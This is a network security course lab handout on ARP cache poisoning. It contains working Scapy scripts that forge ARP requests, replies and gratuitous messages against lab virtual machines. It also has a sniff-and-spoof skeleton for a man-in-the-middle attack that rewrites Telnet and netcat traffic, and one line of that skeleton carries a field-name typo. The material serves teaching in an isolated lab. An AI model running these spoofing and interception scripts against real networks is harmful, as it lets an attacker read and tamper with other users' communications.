ARP Cache Poisoning Attack Lab

Overview

The Address Resolution Protocol (ARP) is a communication protocol used for discovering the link layer address, such as the MAC address, given an IP address. The ARP protocol is a very simple protocol, and it does not implement any security measure. The ARP cache poisoning attack is a common attack against the ARP protocol. Using such an attack, attackers can fool the victim into accepting forged IP-to-MAC mappings. This can cause the victim's packets to be redirected to the computer with the forged MAC address, leading to potential man-in-the-middle attacks.

The objective of this lab is for students to gain the first-hand experience on the ARP cache poisoning attack, and learn what damages can be caused by such an attack. In particular, students will use the ARP attack to launch a man-in-the-middle attack, where the attacker can intercept and modify the packets between the two victims A and B. Another objective of this lab is for students to practice packet sniffing and spoofing skills, as these are essential skills in network security, and they are the building blocks for many networks attack and defence tools. Students will use Scapy to conduct lab tasks. This lab covers the following topics:

- The ARP protocol
- The ARP cache poisoning attack
- Man in the middle attack
- Scapy Programming

Index of Contents

This lab uses the following setup:

Lab Set Up:

Virtual Machine	IP Address	MAC Address
Attacker	10.0.2.13	08:00:27:cf:ea:8a
VM A	10.0.2.14	08:00:27:67:66:27
VM B	10.0.2.16	08:00:27:6c:65:72

This can be found by running *ifconfig* on your terminal

Task 1: ARP Cache Poisoning

The objective of this task is to use packet spoofing to launch an ARP cache poisoning attack on a target, such that when two victim machines A and B try to communicate with each other, their packets will be intercepted by the attacker, who can make changes to the packets, and can thus become the man in the middle between A and B. This is called Man-In-The-Middle (MITM) attack. In this lab, we use ARP cache poisoning to conduct an MITM attack.

The skeleton code to construct ARP packet using Scapy:

```
#!/usr/bin/python3
from scapy.all import *

E = Ether()
A = ARP()

pkt = E/A
pkt.show()
sendp(pkt)
```

To learn more about ARP, run the command ls(ARP). In this lab, you will need to fill the attribute *dst* and *src* for Ether() and attributes *op*, *hwsrc, psrc, hwdst* and *pdst* for ARP() according to ***your*** machine's properties.

Just an example:

```
#!/usr/bin/python3
from scapy.all import *

E = Ether(dst='08:00:27:67:66:27', src='08:00:27:cf:ea:8a')

A = ARP(hwsrc='08:00:27:cf:ea:8a',psrc='10.0.2.16',
    hwdst='08:00:27:67:66:27', pdst='10.0.2.14')

pkt = E/A
pkt.show()
sendp(pkt)
```

Points & tips to be Noted:

All python code in this lab needs to be run on the Attacker Machine.

To run the commands, you will require to use ***sudo***

To view the ARP cache table, you need to use the command ***arp***

Read the whole Task before performing and **note the screenshots required** to be taken for that task.

Task 1: ARP Cache Poisoning

In this task, we attack VM A's ARP cache such that VM B's IP address is mapped to the Attacker Machines MAC address in VM A's ARP cache. This can be achieved in 3 different methods as shown below:

Task1A (using ARP request)

Command: ***sudo python Task1A_no_ether.py***

```
#!/usr/bin/python3
from scapy.all import *

E = Ether()

# Mapping Attacker's MAC address with VM B's IP and sending to VM A's ARP cach
e
A = ARP(hwsrc='08:00:27:cf:ea:8a',psrc='10.0.2.16',
    hwdst='08:00:27:67:66:27', pdst='10.0.2.14')

pkt = E/A
pkt.show()
sendp(pkt)
```

Show your observations by providing **screenshots** of your terminal - ARP cache on VM A and VM B, **before and after** running the attack. Also show screenshot of terminal of attacker machine after attack.

Delete ARP cache entries of Attacker and VM B and **provide screenshot**

sudo arp -d 10.0.2.13

sudo arp -d 10.0.2.16

Command: *sudo python Task1A.py*

```
#!/usr/bin/python3
from scapy.all import *

# Entering Destination MAC Addr (VM A) and Source MAC Addr (Attacker)
E = Ether(dst='08:00:27:67:66:27', src='08:00:27:cf:ea:8a')

# Mapping Attacker's MAC address with VM B's IP and sending to VM A's ARP cach
e
A = ARP(hwsrc='08:00:27:cf:ea:8a',psrc='10.0.2.16',
    hwdst='08:00:27:67:66:27', pdst='10.0.2.14')

pkt = E/A
pkt.show()
sendp(pkt)
```

Show your observations by providing **screenshots** of your terminal - ARP cache on VM A and VM B, **before and after** running the attack. Also show screenshot of terminal of attacker machine after attack.

Note: Upon deleting ARP cache values, the entry will show (incomplete). This will happen.

Questions:

1. What does the 'op' in the screenshot of attacker machine signify? What is it default value?
2. What was the difference in between the ARP cache results in the above 2 approaches? Why did you observe this difference?

Delete ARP cache entry of VM B in VM A

sudo arp -d 10.0.2.16

Task 1B (using ARP reply)

Command: sudo python Task1B.py

```
#!/usr/bin/python3
from scapy.all import *

# Entering Destination MAC Addr (VM A) and Source MAC Addr (Attacker)

E = Ether(dst='08:00:27:67:66:27', src='08:00:27:cf:ea:8a')

# Mapping Attacker's MAC address with VM B's IP and sending to VM A's ARP cach
e

A = ARP(op=2, hwsrc='08:00:27:cf:ea:8a',psrc='10.0.2.16',
    hwdst='08:00:27:67:66:27', pdst='10.0.2.14')

pkt = E/A
pkt.show()
sendp(pkt)
```

Show your observations by providing **screenshots** of your terminal - ARP cache on VM A and VM B, **before and after** running the attack. Also show screenshot of terminal of attacker machine after attack.

Question:

1. What does the 'op' in the screenshot of attacker machine signify/What does op=2 mean?

Delete ARP entry of VM B in VM A's ARP cache

sudo arp -d 10.0.2.16

Task 1C (using ARP gratuitous message)

This is used when a host machine needs to update outdated information on all the other machine's ARP cache. The gratuitous ARP packet has the following characteristics: The source

and destination IP addresses are the same, and they are the IP address of the host issuing the gratuitous ARP. The destination MAC addresses in both ARP header and Ethernet header are the broadcast MAC address (ff:ff:ff:ff:ff:ff). No reply is expected.

Command: ***sudo python Task1C.py***

```
#!/usr/bin/python3
from scapy.all import *

E = Ether(dst='ff:ff:ff:ff:ff:ff', src='08:00:27:cf:ea:8a')
A = ARP(hwsrc='08:00:27:cf:ea:8a',psrc='10.0.2.16',
    hwdst='ff:ff:ff:ff:ff:ff', pdst='10.0.2.16')

pkt = E/A
pkt.show()
sendp(pkt)
```

Show your observations by providing **screenshots** of your terminal - ARP cache on VM A and VM B, **before and after** running the attack. Also show screenshot of terminal of attacker machine after attack.

Questions:

1. Why does VM B's ARP cache remain unchanged in this approach even though packet was broadcasted on the network?
2. Do we get the same result in all the above 3 approaches in Task1?

Delete your ARP cache entries of VM A, VM B for the next Task

Task 2: MITM Attack on Telnet using ARP Cache Poisoning

Step 1 (Launch the ARP cache poisoning attack)

Write code using ARP request method to perform ARP cache poisoning on A and B, such that in A's ARP cache, B's IP address maps to M's MAC address, and in B's ARP cache, A's IP address also maps to M's MAC address.

Name it **Task2.1.py**

Note: KEEP Wireshark ready.

Provide **screenshot** of your code.

Show your observations by providing **screenshots** of your terminal - ARP cache on VM A and VM B, **before and after** running the attack. Also show screenshot of terminal of attacker machine after attack. Provide **Wireshark** Screenshot of the ARP packets

Step 2 (Testing)

Run command 'arp' to show cache table. Keep Wireshark ready.

Ping from VM A to VM B.

Command: ping 10.0.2.16

Show your screenshots of VM A's ARP cache, Ping operation and Wireshark.

Question:
1. What do you observe? Explain your observation.

Step 3 (Turn on IP forwarding)

On Attacker Machine, turn on IP forwarding using the following:

Command: ***sudo sysctl net.ipv4.ip_forward=1***

Repeat Step 2. (You may need to run Task2.1.py code again now to poison ARP cache. Check if it was reset)

Show screenshots of VM A's and B's ARP cache, Ping operation and Wireshark.

Explain your observations and explain the Wireshark.

Step 4 (Launch the MITM attack)

Now we make changes to the Telnet data between A and B. Assume that A is the Telnet client and B is the Telnet server. After A has connected to the Telnet server on B, for every key stroke typed in A's Telnet window, a TCP packet is generated and sent to B. We would like to intercept the TCP packet, and replace each typed character with a fixed character (say Z). This way, it does not matter what the user types on A, Telnet will always display Z. From the previous steps, we are able to redirect the TCP packets to Host M (Attacker), but instead of forwarding them, we would like to replace them with a spoofed packet.

Steps:

Perform ARP Cache Poisoning using Task2.1.py. Keeping the IP Forwarding ON, create Telnet connection between A to B.

Turn OFF IP Forwarding using the command: ***sudo sysctl net.ipv4.ip_forward=0***

Use sniffing and spoofing to manipulate the packet. We run our sniff-and-spoof program on attacker machine, such that for the captured packets sent from A to B, we spoof a packet but with TCP different data. For packets from B to A (Telnet response), we do not make any change, so the spoofed packet is exactly the same as the original one.

Objective: Fill in the following code to intercept the TCP packet, and replace each typed character with a fixed character (say Z). This way, it does not matter what the user types on A, Telnet will always display Z.

```
#!/usr/bin/python3
from scapy.all import *
```

```
import re

VM_A_IP = '10.0.2.14'
VM_B_IP = '10.0.2.16'
VM_A_MAC = '08:00:27:67:66:27'
VM_B_MAC = '08:00:27:6c:65:72'

def spoof_pkt(pkt):
    if pkt[IP].sr == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:
        # Create a new packet based on the captured one.
        # (1) We need to delete the checksum fields in the IP and TCP headers,
        # because our modification will make them invalid.
        # Scapy will recalculate them for us if these fields are missing.
        # (2) We also delete the original TCP payload.
        newpkt = IP(pkt[IP])
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        del(newpkt[TCP].payload)
        ############################################################################
        # Construct the new payload based on the old payload.
        # Students need to implement this part.
        olddata = pkt[TCP].payload.load # Get the original payload data
        newdata = olddata # No change is made in this sample code
        ############################################################################
        # Attach the new data and set the packet out
        send(newpkt/newdata)
    elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:
        send(pkt[IP]) # Forward the original packet
pkt = sniff(filter='tcp',prn=spoof_pkt)
```

Show your observations of your terminals by printing the changed data, telnet connection and Wireshark capture

Task 3: MITM Attack on Netcat using ARP Cache Poisoning

This task is similar to Task 2, except that Hosts A and B are communicating using netcat, instead of telnet. Attacker machine wants to intercept their communication, so it can make changes to the data sent between A and B. Once the connection is made, you can type messages on A. Each line of messages will be put into a TCP packet sent to B, which simply displays the message

Objective: Task is to replace every occurrence of your first name in the message with a sequence of A's. The length of the sequence should be the same as that of your first name, or you will mess up the TCP sequence number, and hence the entire TCP connection. You need to use your real first name, so we know the work is done by you. **Use the above skeleton code and write the logic to change the data as per the required task.**

Sequence of commands to be run:

On attacker

sudo python Task2.1.py

sudo sysctl net.ipv4.ip_forward=1

On VM B

arp

nc -l 9090

On VM A

Arp

nc 10.0.2.16 9090

On Attacker

sudo sysctl net.ipv4.ip_forward=0

sudo python Task3.py

Now on VM A, type your name, on VM B you should see it being replaced by 'A's. When we type name on VM B, on VM A you should it being typed as it is.

Note: If it didn't work, after making netcat connection, open another terminal on any VM A or VM B and check if the cache is still poisoned. If it is not, run Task2.1.py again just before running Task3.py with IP forwarding OFF.

Show screenshots for VM A, VM B and Attacker Machine.

Submission

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive marks.